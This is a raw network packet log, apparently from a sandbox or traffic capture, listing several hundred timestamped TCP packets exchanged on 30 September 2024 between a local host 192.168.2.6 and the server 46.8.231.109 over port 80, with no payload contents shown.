Sep 30, 2024 13:59:45.007899046 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.007920980 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.007937908 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.007942915 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.007958889 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.007972002 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.007975101 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.007982016 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.008002996 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.008013010 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.008023977 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.008024931 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.008049011 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.008064032 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.008090019 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.008100986 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.008111000 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.008121967 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.008151054 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.008153915 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.008167028 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.008173943 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.008177042 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.008191109 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.008197069 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.008204937 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.008219004 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.008222103 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.008234978 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.008259058 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.008259058 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.008270025 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.008280993 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.008290052 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.008291960 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.008310080 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.008316994 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.008332014 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.008354902 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.008366108 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.008377075 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.008388042 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.008419991 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.008435011 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.008481026 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.008491993 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.008507013 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.008517027 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.008531094 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.008542061 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.008543968 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.008555889 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.008564949 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.008574009 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.008575916 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.008591890 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.008596897 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.008603096 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.008614063 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.008620024 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.008636951 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.008661032 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.008686066 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.008697033 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.008708000 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.008718967 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.008728981 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.008729935 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.008740902 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.008753061 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.008754015 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.008770943 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.008775949 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.008786917 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.008794069 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.008820057 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.009015083 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.009027958 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.009037971 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.009048939 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.009052992 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.009059906 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.009071112 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.009076118 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.009082079 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.009093046 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.009099960 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.009104967 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.009114981 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.009118080 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.009126902 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.009135962 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.009143114 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.009149075 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.009154081 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.009165049 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.009175062 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.009176970 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.009186029 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.009197950 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.009202957 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.009211063 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.009221077 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.009222031 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.009233952 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.009236097 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.009260893 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.009284019 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.009288073 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.009298086 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.009308100 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.009319067 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.009330034 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.009336948 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.009340048 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.009351969 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.009355068 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.009361982 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.009367943 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.009381056 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.009382963 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.009393930 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.009411097 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.009437084 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.093496084 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.093569040 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.093580961 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.093591928 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.093614101 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.093625069 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.093625069 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.093647003 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.093658924 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.093664885 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.093668938 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.093681097 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.093684912 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.093689919 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.093700886 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.093709946 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.093739033 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.093751907 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.093764067 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.093784094 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.093795061 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.093806982 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.093808889 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.093816996 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.093827963 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.093828917 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.093841076 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.093842030 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.093878031 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.093880892 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.093892097 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.093910933 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.093923092 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.093924999 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.093935013 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.093935966 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.093944073 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.093954086 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.093965054 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.093976974 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.093980074 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.093986988 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.093998909 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.094008923 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.094017982 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.094019890 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.094033003 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.094044924 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.094047070 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.094070911 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.094094992 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.096261978 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.096290112 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.096299887 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.096311092 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.096323967 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.096338987 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.096343040 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.096354961 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.096364975 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.096378088 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.096386909 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.096388102 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.096414089 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.096427917 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.096539021 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.096551895 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.096563101 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.096587896 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.096611023 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.096622944 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.096633911 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.096643925 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.096654892 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.096673965 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.096679926 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.096683979 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.096698999 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.096703053 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.096710920 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.096728086 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.096740007 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.096776962 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.096786976 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.096796989 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.096808910 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.096818924 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.096820116 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.096832037 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.096858025 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.096859932 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.096868992 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.096879959 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.096892118 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.096903086 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.096916914 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.096930027 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.096935987 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.096944094 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.096955061 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.096965075 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.096966982 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.096981049 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.097002983 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.097018957 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.097031116 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.097040892 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.097064972 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.097083092 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.097151041 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.097162962 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.097173929 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.097183943 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.097196102 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.097207069 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.097209930 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.097222090 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.097233057 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.097235918 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.097246885 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.097249985 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.097260952 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.097271919 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.097274065 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.097296953 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.097311974 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.097315073 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.097322941 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.097333908 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.097345114 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.097347021 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.097359896 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.097376108 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.097390890 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.097405910 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.097418070 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.097428083 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.097439051 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.097450018 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.097465038 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.097489119 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.097531080 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.097542048 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.097552061 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.097562075 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.097567081 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.097573042 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.097584009 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.097589970 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.097610950 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.097620964 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.097696066 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.097707033 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.097718000 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.097728968 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.097735882 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.097739935 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.097749949 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.097754002 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.097780943 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.097796917 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.097815037 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.097826004 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.097836018 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.097846985 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.097856998 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.097867966 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.097873926 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.097878933 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.097896099 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.097913980 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.097924948 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.097935915 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.097946882 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.097956896 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.097968102 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.097984076 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.097995996 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.098057985 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.098069906 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.098079920 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.098090887 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.098092079 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.098100901 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.098117113 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.098117113 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.098129988 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.098138094 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.098155022 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.098175049 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.182121992 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.182136059 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.182146072 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.182168961 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.182179928 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.182183981 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.182190895 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.182203054 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.182212114 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.182224035 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.182243109 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.182529926 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.182575941 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.182622910 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.182634115 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.182643890 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.182657957 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.182665110 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.182673931 CEST	80	49727	46.8.231.109	192.168.2.6
